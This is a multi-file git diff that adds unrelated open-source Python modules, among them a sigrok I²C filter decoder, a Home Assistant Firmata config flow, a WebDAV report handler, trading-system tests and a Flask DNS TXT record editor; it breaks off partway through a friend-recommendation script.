75 22 +# C1 A0 44 9 +# A2 19 4 +# B1 C2 A0 39 17 +# A2 25 52 +# C3 A0 75 71 +# A2 57 40 +# B2 C0 A1 1 89 +# A3 64 54 +# C1 A1 54 60 +# A3 27 96 +# B3 C2 A1 47 6 +# A3 100 77 +# C3 A1 16 5 +# A3 22 50 diff --git a/pool/shard008/Python/0078101_pd.py b/pool/shard008/Python/0078101_pd.py new file mode 100644 index 0000000000000000000000000000000000000000..a54baab247b88a474db2c08a3649d097ba2c5e52 --- /dev/null +++ b/pool/shard008/Python/0078101_pd.py @@ -0,0 +1,93 @@ +## +## This file is part of the libsigrokdecode project. +## +## Copyright (C) 2012 Bert Vermeulen +## Copyright (C) 2012 Uwe Hermann +## +## This program is free software; you can redistribute it and/or modify +## it under the terms of the GNU General Public License as published by +## the Free Software Foundation; either version 3 of the License, or +## (at your option) any later version. +## +## This program is distributed in the hope that it will be useful, +## but WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +## GNU General Public License for more details. +## +## You should have received a copy of the GNU General Public License +## along with this program; if not, see . +## + +# TODO: Support for filtering out multiple slave/direction pairs? + +import sigrokdecode as srd + +class Decoder(srd.Decoder): + api_version = 3 + id = 'i2cfilter' + name = 'I²C filter' + longname = 'I²C filter' + desc = 'Filter out addresses/directions in an I²C stream.' + license = 'gplv3+' + inputs = ['i2c'] + outputs = ['i2c'] + tags = ['Util'] + options = ( + {'id': 'address', 'desc': 'Slave address to filter (decimal)', + 'default': 0}, + {'id': 'direction', 'desc': 'Direction to filter', 'default': 'both', + 'values': ('read', 'write', 'both')} + ) + + def __init__(self): + self.reset() + + def reset(self): + self.curslave = -1 + self.curdirection = None + self.packets = [] # Local cache of I²C packets + + def start(self): + self.out_python = self.register(srd.OUTPUT_PYTHON, proto_id='i2c') + if self.options['address'] not in range(0, 127 + 1): + raise Exception('Invalid slave (must be 0..127).') + + # Grab I²C packets into a local cache, until an I²C STOP condition + # packet comes along. At some point before that STOP condition, there + # will have been an ADDRESS READ or ADDRESS WRITE which contains the + # I²C address of the slave that the master wants to talk to. + # If that slave shall be filtered, output the cache (all packets from + # START to STOP) as proto 'i2c', otherwise drop it. + def decode(self, ss, es, data): + + cmd, databyte = data + + # Add the I²C packet to our local cache. + self.packets.append([ss, es, data]) + + if cmd in ('ADDRESS READ', 'ADDRESS WRITE'): + self.curslave = databyte + self.curdirection = cmd[8:].lower() + elif cmd in ('STOP', 'START REPEAT'): + # If this chunk was not for the correct slave, drop it. + if self.options['address'] == 0: + pass + elif self.curslave != self.options['address']: + self.packets = [] + return + + # If this chunk was not in the right direction, drop it. + if self.options['direction'] == 'both': + pass + elif self.options['direction'] != self.curdirection: + self.packets = [] + return + + # TODO: START->STOP chunks with both read and write (Repeat START) + # Otherwise, send out the whole chunk of I²C packets. + for p in self.packets: + self.put(p[0], p[1], self.out_python, p[2]) + + self.packets = [] + else: + pass # Do nothing, only add the I²C packet to our cache. diff --git a/pool/shard008/Python/0078102_2136a1f22f1f_cull_removed_rules.py b/pool/shard008/Python/0078102_2136a1f22f1f_cull_removed_rules.py new file mode 100644 index 0000000000000000000000000000000000000000..da67dc72c82c9e64ef199ec289dd76b13babe12d --- /dev/null +++ b/pool/shard008/Python/0078102_2136a1f22f1f_cull_removed_rules.py @@ -0,0 +1,54 @@ +"""Cull removed rules + +Revision ID: 2136a1f22f1f +Revises: 2ea9623b21fa +Create Date: 2015-01-08 12:23:51.829172 + +""" +from __future__ import print_function + +# revision identifiers, used by Alembic. +revision = '2136a1f22f1f' +down_revision = '2ea9623b21fa' + +from alembic import op +import sqlalchemy as sa + +import fmn.lib.models + + +def upgrade(): + engine = op.get_bind().engine + session = sa.orm.scoped_session(sa.orm.sessionmaker(bind=engine)) + + # Find all rules that got removed in this PR and nuke them + # https://github.com/fedora-infra/fmn.rules/pull/21 + goners = [ + 'fmn.rules:pkgdb_acl_user_remove', + 'fmn.rules:pkgdb_branch_clone', + 'fmn.rules:pkgdb_package_retire', + ] + + for path in goners: + rules = session.query(fmn.lib.models.Rule)\ + .filter_by(code_path=path).all() + for rule in rules: + print("Deleting %r." % rule) + session.delete(rule) + + # And one of them wasn't actually removed, it was just renamed. + moves = [ + ('fmn.rules:pkgdb_critpath_update', + 'fmn.rules:pkgdb_package_critpath_update'), + ] + for src, dest in moves: + rules = session.query(fmn.lib.models.Rule)\ + .filter_by(code_path=src).all() + for rule in rules: + rule.code_path = dest + + session.commit() + + +def downgrade(): + pass diff --git a/pool/shard008/Python/0078105_config_flow.py b/pool/shard008/Python/0078105_config_flow.py new file mode 100644 index 0000000000000000000000000000000000000000..e9483998060619361f3ffd8ae99fa84a68d80a99 --- /dev/null +++ b/pool/shard008/Python/0078105_config_flow.py @@ -0,0 +1,57 @@ +"""Config flow to configure firmata component.""" + +import logging + +from pymata_express.pymata_express_serial import serial + +from homeassistant import config_entries +from homeassistant.const import CONF_NAME + +from .board import get_board +from .const import CONF_SERIAL_PORT, DOMAIN + +_LOGGER = logging.getLogger(__name__) + + +class FirmataFlowHandler(config_entries.ConfigFlow, domain=DOMAIN): + """Handle a firmata config flow.""" + + VERSION = 1 + CONNECTION_CLASS = config_entries.CONN_CLASS_LOCAL_PUSH + + async def async_step_import(self, import_config: dict): + """Import a firmata board as a config entry. + + This flow is triggered by `async_setup` for configured boards. + + This will execute for any board that does not have a + config entry yet (based on entry_id). It validates a connection + and then adds the entry. + """ + name = f"serial-{import_config[CONF_SERIAL_PORT]}" + import_config[CONF_NAME] = name + + # Connect to the board to verify connection and then shutdown + # If either fail then we cannot continue + _LOGGER.debug("Connecting to Firmata board %s to test connection", name) + try: + api = await get_board(import_config) + await api.shutdown() + except RuntimeError as err: + _LOGGER.error("Error connecting to PyMata board %s: %s", name, err) + return self.async_abort(reason="cannot_connect") + except serial.serialutil.SerialTimeoutException as err: + _LOGGER.error( + "Timeout writing to serial port for PyMata board %s: %s", name, err + ) + return self.async_abort(reason="cannot_connect") + except serial.serialutil.SerialException as err: + _LOGGER.error( + "Error connecting to serial port for PyMata board %s: %s", name, err + ) + return self.async_abort(reason="cannot_connect") + _LOGGER.debug("Connection test to Firmata board %s successful", name) + + return self.async_create_entry( + title=import_config[CONF_NAME], data=import_config + ) diff --git a/pool/shard008/Python/0078106_byterun_test.py b/pool/shard008/Python/0078106_byterun_test.py new file mode 100644 index 0000000000000000000000000000000000000000..60b936a654fd8838ff7e035e3ba82d7dec704056 --- /dev/null +++ b/pool/shard008/Python/0078106_byterun_test.py @@ -0,0 +1,41 @@ +# Copyright (c) 2017, The MITRE Corporation. All rights reserved. +# See LICENSE.txt for complete terms. + +import unittest + +from cybox.common import ByteRun, ByteRuns, Hash +import cybox.test +from cybox.test import EntityTestCase + + +class TestByteRun(EntityTestCase, unittest.TestCase): + klass = ByteRun + + _full_dict = { + 'offset': 1000, + 'file_system_offset': 1024, + 'image_offset': 512, + 'length': 10, + 'hashes': [{'type': Hash.TYPE_MD5, + 'simple_hash_value': + '0123456789abcdef0123456789abcdef'}], + 'byte_run_data': "helloworld", + } + + +class TestByteRuns(unittest.TestCase): + + def test_round_trip(self): + byteruns_list = [ + {'byte_run_data': "a", + 'length': 1}, + {'byte_run_data': "blahblah", + 'length': 8}, + {'byte_run_data': "aeiou", + 'length': 5}, + ] + byteruns_list2 = cybox.test.round_trip_list(ByteRuns, byteruns_list) + self.assertEqual(byteruns_list, byteruns_list2) + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0078113_report_principal_property_search.py b/pool/shard008/Python/0078113_report_principal_property_search.py new file mode 100644 index 0000000000000000000000000000000000000000..4c160e6c8fc0881c17030b74c4ca545f37951b9a --- /dev/null +++ b/pool/shard008/Python/0078113_report_principal_property_search.py @@ -0,0 +1,193 @@ +# -*- test-case-name: txweb2.dav.test.test_report_expand -*- +## +# Copyright (c) 2006-2015 Apple Inc. All rights reserved. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +# +# DRI: Wilfredo Sanchez, wsanchez@apple.com +## + +""" +WebDAV prinicpal-property-search report +""" + +__all__ = ["report_DAV__principal_property_search"] + +from twisted.internet.defer import deferredGenerator, waitForDeferred + +from twext.python.log import Logger +from txweb2 import responsecode +from txweb2.http import HTTPError, StatusResponse +from txdav.xml.base import PCDATAElement +from txdav.xml import element +from txdav.xml.element import dav_namespace +from txweb2.dav.http import ErrorResponse, MultiStatusResponse +from txweb2.dav.method import prop_common +from txweb2.dav.method.report import NumberOfMatchesWithinLimits +from txweb2.dav.method.report import max_number_of_matches +from txweb2.dav.resource import isPrincipalResource + +log = Logger() + + +def report_DAV__principal_property_search(self, request, principal_property_search): + """ + Generate a principal-property-search REPORT. (RFC 3744, section 9.4) + """ + + # Verify root element + if not isinstance(principal_property_search, element.PrincipalPropertySearch): + raise ValueError("%s expected as root element, not %s." + % (element.PrincipalPropertySearch.sname(), principal_property_search.sname())) + + # Only handle Depth: 0 + depth = request.headers.getHeader("depth", "0") + if depth != "0": + log.error("Error in prinicpal-property-search REPORT, Depth set to %s" % (depth,)) + raise HTTPError(StatusResponse(responsecode.BAD_REQUEST, "Depth %s not allowed" % (depth,))) + + # Get a single DAV:prop element from the REPORT request body + propertiesForResource = None + propElement = None + propertySearches = [] + applyTo = False + for child in principal_property_search.children: + if child.qname() == (dav_namespace, "prop"): + propertiesForResource = prop_common.propertyListForResource + propElement = child + elif child.qname() == (dav_namespace, "apply-to-principal-collection-set"): + applyTo = True + elif child.qname() == (dav_namespace, "property-search"): + props = child.childOfType(element.PropertyContainer) + props.removeWhitespaceNodes() + match = child.childOfType(element.Match) + propertySearches.append((props.children, str(match).lower())) + + + def nodeMatch(node, match): + """ + See if the content of the supplied node matches the supplied text. + Try to follow the matching guidance in rfc3744 section 9.4.1. + @param prop: the property element to match. + @param match: the text to match against. + @return: True if the property matches, False otherwise. + """ + node.removeWhitespaceNodes() + for child in node.children: + if isinstance(child, PCDATAElement): + comp = str(child).lower() + if comp.find(match) != -1: + return True + else: + return nodeMatch(child, match) + else: + return False + + + def propertySearch(resource, request): + """ + Test the resource to see if it contains properties matching the + property-search specification in this report. + @param resource: the L{DAVFile} for the resource to test. + @param request: the current request. + @return: True if the resource has matching properties, False otherwise. + """ + for props, match in propertySearches: + # Test each property + for prop in props: + try: + propvalue = waitForDeferred(resource.readProperty(prop.qname(), request)) + yield propvalue + propvalue = propvalue.getResult() + if propvalue and not nodeMatch(propvalue, match): + yield False + return + except HTTPError: + # No property => no match + yield False + return + + yield True + + propertySearch = deferredGenerator(propertySearch) + + # Run report + try: + resources = [] + responses = [] + matchcount = 0 + + if applyTo: + for principalCollection in self.principalCollections(): + uri = principalCollection.principalCollectionURL() + resource = waitForDeferred(request.locateResource(uri)) + yield resource + resource = resource.getResult() + if resource: + resources.append((resource, uri)) + else: + resources.append((self, request.uri)) + + # Loop over all collections and principal resources within + for resource, _ignore_ruri in resources: + + # Do some optimisation of access control calculation by determining any inherited ACLs outside of + # the child resource loop and supply those to the checkPrivileges on each child. + filteredaces = waitForDeferred(resource.inheritedACEsforChildren(request)) + yield filteredaces + filteredaces = filteredaces.getResult() + + children = [] + d = waitForDeferred(resource.findChildren("infinity", request, lambda x, y: children.append((x, y)), + privileges=(element.Read(),), inherited_aces=filteredaces)) + yield d + d.getResult() + + for child, uri in children: + if isPrincipalResource(child): + d = waitForDeferred(propertySearch(child, request)) + yield d + d = d.getResult() + if d: + # Check size of results is within limit + matchcount += 1 + if matchcount > max_number_of_matches: + raise NumberOfMatchesWithinLimits(max_number_of_matches) + + d = waitForDeferred(prop_common.responseForHref( + request, + responses, + element.HRef.fromString(uri), + child, + propertiesForResource, + propElement + )) + yield d + d.getResult() + + except NumberOfMatchesWithinLimits: + log.error("Too many matching components in prinicpal-property-search report") + raise HTTPError(ErrorResponse( + responsecode.FORBIDDEN, + element.NumberOfMatchesWithinLimits() + )) + + yield MultiStatusResponse(responses) + +report_DAV__principal_property_search = deferredGenerator(report_DAV__principal_property_search) diff --git a/pool/shard008/Python/0078114_sell_states_test.py b/pool/shard008/Python/0078114_sell_states_test.py new file mode 100644 index 0000000000000000000000000000000000000000..80294c966c02677fdc05b4530976141a41a0c04e --- /dev/null +++ b/pool/shard008/Python/0078114_sell_states_test.py @@ -0,0 +1,186 @@ +from unittest import TestCase + +import mock + +from trading_system import consts +from trading_system.api.beans import PlacedOrder, Ticker +from trading_system.systems.trailing_orders.system import TrailingOrders +from trading_system.systems.trailing_orders import beans, factory, states + + +class TrailingOrdersTestCase(TestCase): + START_VALUE = 100.0 + STOP_VALUE = 200.0 + REVERSAL = 5 + STOP_LOSS = 20 + OPERATIONAL_COST = 1 + PROFIT = 2 + + INITIAL_SETUP = beans.TrailingOrderSetup.make( + consts.OrderSide.BUY, + START_VALUE, + STOP_VALUE, + REVERSAL, + STOP_LOSS, + OPERATIONAL_COST, + PROFIT, + ) + + def setUp(self): + client = mock.MagicMock() + bootstrap = factory.TrailingOrdersFactory().make_fake_bootstrap(self.INITIAL_SETUP) + + logging_patch = mock.patch('trading_system.systems.trailing_orders.system.logging') + self.addCleanup(logging_patch.stop) + logging_patch.start() + + self.system = TrailingOrders(client, bootstrap) + self.system.get_pending_orders = mock.MagicMock(return_value=[]) + + self.set_next_operation = mock.MagicMock() + next_operation_patcher = mock.patch( + 'trading_system.systems.trailing_orders.system.TrailingOrders.set_next_operation', self.set_next_operation + ) + self.addCleanup(next_operation_patcher.stop) + next_operation_patcher.start() + + def test_it_places_a_sell_order(self): + self.system.set_state(states.TrackingToSellState(self.system)) + self._set_last_quote(self.system.sell_price) + self.system.run() + self._assert_results( + sell_limited_call_count=1, sell_market_call_count=0, expected_state=states.PendingToSellState + ) + + self.system.set_state(states.TrackingToSellState(self.system)) + self._set_last_quote(self.system.sell_price - 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=2, sell_market_call_count=0, expected_state=states.PendingToSellState + ) + + def test_it_does_not_place_a_sell_order_besides_is_tracking(self): + self.system.set_state(states.TrackingToSellState(self.system)) + self._set_last_quote(self.system.sell_price + 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.TrackingToSellState + ) + + def test_it_starts_tracking(self): + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.setup.stop_value) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.TrackingToSellState + ) + + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.setup.stop_value + 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.TrackingToSellState + ) + + self.system.set_state(states.WaitingToSellState(self.system)) + last_quote = self.system.setup.stop_value * 2 + self._set_last_quote(last_quote) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.TrackingToSellState + ) + self.assertEqual(self.system.setup.start_value, self.START_VALUE * 2) + self.assertEqual(self.system.setup.stop_value, last_quote) + + def test_it_does_not_start_tracking_for_selling_purposes(self): + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.setup.stop_value - 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.WaitingToSellState + ) + + def test_it_stops_loss(self): + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.stop_loss_price - 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=1, expected_state=states.PendingToSellState + ) + + self.system.set_state(states.TrackingToSellState(self.system)) + self._set_last_quote(self.system.stop_loss_price - 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=2, expected_state=states.PendingToSellState + ) + + self.system.set_state(states.PendingToSellState(self.system, states.WaitingToBuyState(self.system))) + self.system.get_pending_orders.return_value = [ + PlacedOrder( + order_id='my_order_id', + exec_id='my_exec_id', + exec_type='exec_type', + order_status='order_status', + price=100.0, + symbol='BTCUSD', + amount=1.0, + message_type=None, + order_rejection_reason=None, + side='sell', + client_order_id='my_order_id' + ) + ] + self._set_last_quote(self.system.stop_loss_price - 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=3, expected_state=states.PendingToSellState + ) + + def test_it_does_not_stop_loss_when_not_needed(self): + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.stop_loss_price) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.WaitingToSellState + ) + + self.system.set_state(states.WaitingToSellState(self.system)) + self._set_last_quote(self.system.stop_loss_price + 0.01) + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.WaitingToSellState + ) + + def test_it_goes_to_buying_mode(self): + self.system.set_state(states.PendingToSellState(self.system, states.WaitingToBuyState(self.system))) + self.system.get_pending_orders.return_value = [] + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.WaitingToBuyState + ) + + self.system.set_state(states.PendingToSellState(self.system, states.TrackingToBuyState(self.system))) + self.system.get_pending_orders.return_value = [] + self.system.run() + self._assert_results( + sell_limited_call_count=0, sell_market_call_count=0, expected_state=states.TrackingToBuyState + ) + + def _set_last_quote(self, last_quote): + self.system.get_current_ticker = mock.MagicMock(return_value=Ticker( + currency_pair='BTCUSD', + last_value=last_quote, + highest_value=200.0, + lowest_value=100.0, + best_sell_order=140.0, + best_buy_order=120.0, + volume_btc=100, + volume_currency=100, + )) + + def _assert_results(self, sell_limited_call_count, sell_market_call_count, expected_state): + self.assertEqual(self.system.client.orders.buy_bitcoins_with_limited_order.call_count, 0) + self.assertEqual(self.system.client.orders.sell_bitcoins_with_limited_order.call_count, sell_limited_call_count) + self.assertEqual(self.system.client.orders.sell_bitcoins_with_market_order.call_count, sell_market_call_count) + self.assertIsInstance(self.system.state, expected_state) diff --git a/pool/shard008/Python/0078122_words.py b/pool/shard008/Python/0078122_words.py new file mode 100644 index 0000000000000000000000000000000000000000..4708ac505c070384a725aeece6b89aba3c693702 --- /dev/null +++ b/pool/shard008/Python/0078122_words.py @@ -0,0 +1,15 @@ +import itertools + +from streamparse import storm + +class WordSpout(storm.Spout): + + def initialize(self, stormconf, context): + self.words = itertools.cycle(['dog', 'cat', + 'zebra', 'elephant']) + + def nextTuple(self): + word = next(self.words) + storm.emit([word]) + +WordSpout().run() diff --git a/pool/shard008/Python/0078124_sandbox.py b/pool/shard008/Python/0078124_sandbox.py new file mode 100644 index 0000000000000000000000000000000000000000..afe86559541b13475c15a98126e8821079c390cb --- /dev/null +++ b/pool/shard008/Python/0078124_sandbox.py @@ -0,0 +1,73 @@ +# +# Copyright John Reid 2007 +# + + +import biopsy +import biopsy.psimi2 as psimi +psimi = reload(biopsy.psimi2) +import biopsy.identifiers.build_map as build_map +import biopsy.identifiers.entrez as entrez +import biopsy.identifiers.ensembl as ensembl +from cookbook import DictOfSets +T = biopsy.transfac + + +def not_found(found): + return [m for m in T.Matrix.all() if m.name.startswith('V') and m.acc.as_db_ref() not in found] + +def names_for_factor(f): + names = set() + names.add(f.name) + for s in f.synonyms: + names.add(s) + if f.gene: + names.add(f.gene.entry.name) + for su in f.subunits: + names.update(names_for_factor(su.entry)) + return names + +def names_for_matrix(m): + names = set() + for fl in m.factors: + f = fl.link.entry + names.update(names_for_factor(f)) + return names +# +# Test how many matrices get linked to protein interactions +# +if True: + try: + matrix_links + matrix_names + except NameError: + print 'Getting database references and names for all matrices' + map = build_map.build_map() + matrix_links = dict((m.acc.as_db_ref(), map.links(m.acc.as_db_ref())) for m in T.Matrix.all()) + matrix_names = dict((m.acc.as_db_ref(), names_for_matrix(m)) for m in T.Matrix.all()) + + # look at one matrix in particular + mat = T.Matrix(1151) + mat_links = map.links(mat.acc.as_db_ref()) + myod_gene = T.DbRef.parse_as('17927', T.db.entrez_gene) + bind = psimi.networks['BIND'] + myod_in_bind = bind.nodes_for_ref(myod_gene) + myod_node = bind.nodes_for_name('MYOD')[0] + myod_interactor = bind.interactor_for_node(myod_node) + + # those pssms we are interested in + pssm_accs = [ + T.TableLink(acc) + for acc + in biopsy.get_transfac_pssm_accessions( + biopsy.get_default_transfac_pssm_filter() + ) + ] + + for db_name in psimi.dbs(): + print + print db_name + network = psimi.networks[db_name] + print network.summary() + transfac_2_network = psimi.Transfac2Network(map, network) + print transfac_2_network.coverage_summary(pssm_accs) diff --git a/pool/shard008/Python/0078130_domain_txt.py b/pool/shard008/Python/0078130_domain_txt.py new file mode 100644 index 0000000000000000000000000000000000000000..8bcd19927362d2ac84e5fcb915f9342049fa0f49 --- /dev/null +++ b/pool/shard008/Python/0078130_domain_txt.py @@ -0,0 +1,166 @@ +import re + +from flask import Blueprint, g, render_template, request, url_for, redirect +from wtforms import Form, StringField +from wtforms.validators import Regexp, Length, ValidationError +from dnsforever.web.tools.session import login, get_user, get_domain +from dnsforever.models import Domain, RecordTXT + +app = Blueprint('domain_txt', __name__, + url_prefix='/domain//txt', + template_folder='templates/domain_txt') + + +@app.route('/') +@login(True, '/') +def record_list(domain): + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + records = g.session.query(RecordTXT).filter(RecordTXT.domain == domain)\ + .order_by(RecordTXT.name).all() + + if not records: + return redirect(url_for('domain_txt.record_new', domain=domain.name)) + + return render_template('domain_txt/list.html', + domain=domain, + records=records) + + +class RecordTXTForm(Form): + name = StringField('name', + [Regexp('(^$)|(^([a-z0-9\-_]+\.)*([a-z0-9\-_]+)$)')]) + txt = StringField('txt', [Length(max=255)]) + + def validate_txt(form, field): + try: + field.data.encode('ascii') + except: + raise ValidationError('You can use only ASCII code.') + + +@app.route('/new', methods=['GET']) +@login(True, '/') +def record_new(domain): + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + form = RecordTXTForm() + + return render_template('domain_txt/new.html', domain=domain, form=form) + + +@app.route('/', methods=['GET']) +@login(True, '/') +def record_edit(domain, record_id): + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + record = g.session.query(RecordTXT).filter(RecordTXT.id == record_id)\ + .filter(RecordTXT.domain == domain)\ + .first() + if not record: + return redirect(url_for('domain_txt.record_list', + domain=domain.name)) + + form = RecordTXTForm(name=record.name, txt=record.txt) + + return render_template('domain_txt/edit.html', + domain=domain, + form=form) + + +@app.route('/new', methods=['POST']) +@login(True, '/') +def record_new_process(domain): + form = RecordTXTForm(request.form) + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + if not form.validate(): + return render_template('domain_txt/new.html', + domain=domain, + form=form) + + try: + txt_record = RecordTXT(domain=domain, + name=form.name.data or None, + txt=form.txt.data) + with g.session.begin(): + txt_record.update() + g.session.add(txt_record) + except ValueError as e: + form.name.errors.append(e) + return render_template('domain_txt/new.html', + domain=domain, + form=form) + + return redirect(url_for('domain_txt.record_list', domain=domain.name)) + + +@app.route('/', methods=['POST']) +@login(True, '/') +def record_edit_process(domain, record_id): + form = RecordTXTForm(request.form) + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + record = g.session.query(RecordTXT).filter(RecordTXT.id == record_id)\ + .filter(RecordTXT.domain == domain)\ + .first() + if not record: + return redirect(url_for('domain_txt.record_list', + domain=domain.name)) + + form.name.data = record.name + + if not form.validate(): + return render_template('domain_txt/edit.html', + domain=domain, + form=form) + + record.txt = form.txt.data + + with g.session.begin(): + record.update() + g.session.add(record) + + return redirect(url_for('domain_txt.record_list', domain=domain.name)) + + +@app.route('//del', methods=['GET', 'POST']) +@login(True, '/') +def record_delete(domain, record_id): + domain = get_domain(domain) + + if not domain: + return redirect(url_for('domain.index')) + + record = g.session.query(RecordTXT).filter(RecordTXT.id == record_id)\ + .filter(RecordTXT.domain == domain)\ + .first() + if not record: + return redirect(url_for('domain_txt.record_list', + domain=domain.name)) + + if request.method == 'POST': + with g.session.begin(): + record.domain.update() + g.session.add(record.domain) + g.session.delete(record) + return redirect(url_for('domain_txt.record_list', + domain=domain.name)) + + return render_template('domain_txt/del.html', domain=domain, + record=record) diff --git a/pool/shard008/Python/0078137_test_convelemwise_sigm.py b/pool/shard008/Python/0078137_test_convelemwise_sigm.py new file mode 100644 index 0000000000000000000000000000000000000000..3361158e9c8ae941127adeaff8c6f06588a8df67 --- /dev/null +++ b/pool/shard008/Python/0078137_test_convelemwise_sigm.py @@ -0,0 +1,120 @@ +""" +Test for convolutional sigmoid layer. +""" + +import os + +import theano +from theano import config + +from pylearn2.config import yaml_parse +import pylearn2 + +from pylearn2.models.mlp import (MLP, ConvElemwise, + SigmoidConvNonlinearity) + +from pylearn2.training_algorithms.sgd import SGD +from pylearn2.termination_criteria import EpochCounter +import numpy as np + + +def test_conv_sigmoid_basic(): + """ + Tests that we can load a convolutional sigmoid model + and train it for a few epochs (without saving) on a dummy + dataset-- tiny model and dataset + """ + yaml_file = os.path.join(pylearn2.__path__[0], + "models/tests/conv_elemwise_sigm.yaml") + with open(yaml_file) as yamlh: + yaml_lines = yamlh.readlines() + yaml_str = "".join(yaml_lines) + + train = yaml_parse.load(yaml_str) + train.main_loop() + + +def test_sigmoid_detection_cost(): + """ + Tests whether the sigmoid convolutional layer returns the right value. + """ + + rng = np.random.RandomState(0) + sigmoid_nonlin = SigmoidConvNonlinearity(monitor_style="detection") + (rows, cols) = (10, 10) + axes = ('c', 0, 1, 'b') + nchs = 1 + + space_shp = (nchs, rows, cols, 1) + X_vals = np.random.uniform(-0.01, 0.01, + size=space_shp).astype(config.floatX) + X = theano.shared(X_vals, name="X") + + Y_vals = (np.random.uniform(-0.01, 0.01, + size=(rows, cols)) > 0.005).astype("uint8") + Y = theano.shared(Y_vals, name="y_vals") + + conv_elemwise = ConvElemwise(layer_name="h0", + output_channels=1, + irange=.005, + kernel_shape=(1, 1), + max_kernel_norm=0.9, + nonlinearity=sigmoid_nonlin) + + input_space = pylearn2.space.Conv2DSpace(shape=(rows, cols), + num_channels=nchs, + axes=axes) + model = MLP(batch_size=1, + layers=[conv_elemwise], + input_space=input_space) + Y_hat = model.fprop(X) + cost = model.cost(Y, Y_hat).eval() + + assert not(np.isnan(cost) or np.isinf(cost) or (cost < 0.0) + or (cost is None)), ("cost returns illegal " + "value.") + +def test_conv_pooling_nonlin(): + """ + Tests whether the nonlinearity is applied before the pooling. + """ + + rng = np.random.RandomState(0) + sigm_nonlin = SigmoidConvNonlinearity(monitor_style="detection") + (rows, cols) = (5, 5) + axes = ('c', 0, 1, 'b') + nchs = 1 + + space_shp = (nchs, rows, cols, 1) + X_vals = np.random.uniform(-0.01, 0.01, + size=space_shp).astype(config.floatX) + X = theano.shared(X_vals, name="X") + + conv_elemwise = ConvElemwise(layer_name="h0", + output_channels=1, + pool_type="max", + irange=.005, + kernel_shape=(1, 1), + pool_shape=(1, 1), + pool_stride=(1, 1), + nonlinearity=sigm_nonlin) + + input_space = pylearn2.space.Conv2DSpace(shape=(rows, cols), + num_channels=nchs, + axes=axes) + model = MLP(batch_size=1, + layers=[conv_elemwise], + input_space=input_space) + + Y_hat = model.fprop(X) + assert "max" in str(Y_hat.name) + ancestors = theano.gof.graph.ancestors([Y_hat]) + lcond = ["sigm" in str(anc.owner) for anc in ancestors] + assert np.array(lcond).nonzero()[0].shape[0] > 0, ("Nonlinearity should be " + "applied before pooling.") + + +if __name__ == "__main__": + test_conv_sigmoid_basic() + test_sigmoid_detection_cost() + test_conv_pooling_nonlin() diff --git a/pool/shard008/Python/0078143_recommender.py b/pool/shard008/Python/0078143_recommender.py new file mode 100644 index 0000000000000000000000000000000000000000..e0ed7f78a9e6a7f0a55f90c6865e4d556e076eda --- /dev/null +++ b/pool/shard008/Python/0078143_recommender.py @@ -0,0 +1,81 @@ +from facebook_graph import parse_file + +class _Recommendation(object): + """ Representa una recomendacion como un par + 'id' (el usuario recomendado) y 'value' (la + cantidad de amigos en comun con ese usuario)""" + + def __init__(self, receiver): + self.receiver = receiver + self.id = None + self.value = None + + def update(self, candidate_id, candidate_value): + """Recibe un id y un valor, y si el valor recibido es + mayor que el valor de la recomendacion que se tiene + hasta el momento, la reemplaza por la nueva""" + if(self.value is None + or candidate_value > self.value): + self.id = candidate_id + self.value = candidate_value + + + +def get_recommendation_for(contact_id, fb_graph): + """ Devuelve una recomendacion de amistad para + el contacto indicado, basada en la cantidad + de amigos en comun con dicho contacto """ + + #BFS capa 1: + fb_graph.mark_vertex(contact_id) + friends = fb_graph.get_vertex_neighbours(contact_id) + map(fb_graph.mark_vertex, friends) + + #BFS capa 2; + candidates_for_recommendation = [] + for friend in friends: + candidates_for_recommendation.extend(fb_graph.get_unmarked_vertex_neighbours(friend)) + + + recommendation = _Recommendation(contact_id) + for candidate in 